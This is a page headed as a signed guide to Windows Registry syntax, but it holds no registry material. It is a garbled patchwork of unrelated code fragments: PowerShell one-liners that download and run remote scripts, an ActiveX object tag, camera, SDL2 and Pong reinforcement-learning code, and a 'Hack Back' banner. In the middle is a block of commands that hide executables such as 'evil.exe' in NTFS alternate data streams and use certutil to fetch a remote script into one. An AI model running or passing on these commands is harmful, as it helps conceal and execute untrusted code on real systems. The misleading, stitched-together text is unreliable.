Correct Windows Registry Syntax
Last Revised: 2025-04-18
I made this guide to help anyone interested in editing the Windows Registry.
Signed;
𝓞. 𝓞𝔃𝓽𝓮𝓴𝓲𝓷
<# | |
Prerequisites: PowerShell v3+ | |
License: MIT | |
Author: Michael Klement <[email protected]> | |
DOWNLOAD and DEFINITION OF THE FUNCTION: | |
irm https://gist.github.com/mklement0/f726dee9f0d3d444bf58cb81fda57884/raw/Enter-AdminPSSession.ps1 | iex |
<# | |
Prerequisites: PowerShell v5.1 and above (verified; may also work in earlier versions) | |
License: MIT | |
Author: Michael Klement <[email protected]> | |
DOWNLOAD and DEFINITION OF THE FUNCTION: | |
irm https://gist.github.com/mklement0/9e1f13978620b09ab2d15da5535d1b27/raw/Time-Command.ps1 | iex |
<body>
section:<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
from __future__ import print_function | |
import picamera | |
from picamera import mmal, mmalobj, exc | |
from picamera.mmalobj import to_rational | |
import time | |
MMAL_PARAMETER_ANALOG_GAIN = mmal.MMAL_PARAMETER_GROUP_CAMERA + 0x59 | |
MMAL_PARAMETER_DIGITAL_GAIN = mmal.MMAL_PARAMETER_GROUP_CAMERA + 0x5A |
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab
Instructions tested with a Raspberry Pi 2 with an 8GB memory card. Probably also works fine on a Raspberry Pi 3.
Download the latest Raspbian Jessie Light
image. Earlier versions of Raspbian won't work.
Write it to a memory card using Etcher, put the memory card in the RPi and boot it up.
// SDL2 Hello, World! | |
// This should display a white screen for 2 seconds | |
// compile with: clang++ main.cpp -o hello_sdl2 -lSDL2 | |
// run with: ./hello_sdl2 | |
#include <SDL2/SDL.h> | |
#include <stdio.h> | |
#define SCREEN_WIDTH 640 | |
#define SCREEN_HEIGHT 480 |
""" Trains an agent with (stochastic) Policy Gradients on Pong. Uses OpenAI Gym. """ | |
import numpy as np | |
import cPickle as pickle | |
import gym | |
# hyperparameters | |
H = 200 # number of hidden layer neurons | |
batch_size = 10 # every how many episodes to do a param update? | |
learning_rate = 1e-4 | |
gamma = 0.99 # discount factor for reward |
_ _ _ ____ _ _ | |
| | | | __ _ ___| | __ | __ ) __ _ ___| | _| | | |
| |_| |/ _` |/ __| |/ / | _ \ / _` |/ __| |/ / | | |
| _ | (_| | (__| < | |_) | (_| | (__| <|_| | |
|_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_) | |
A DIY Guide | |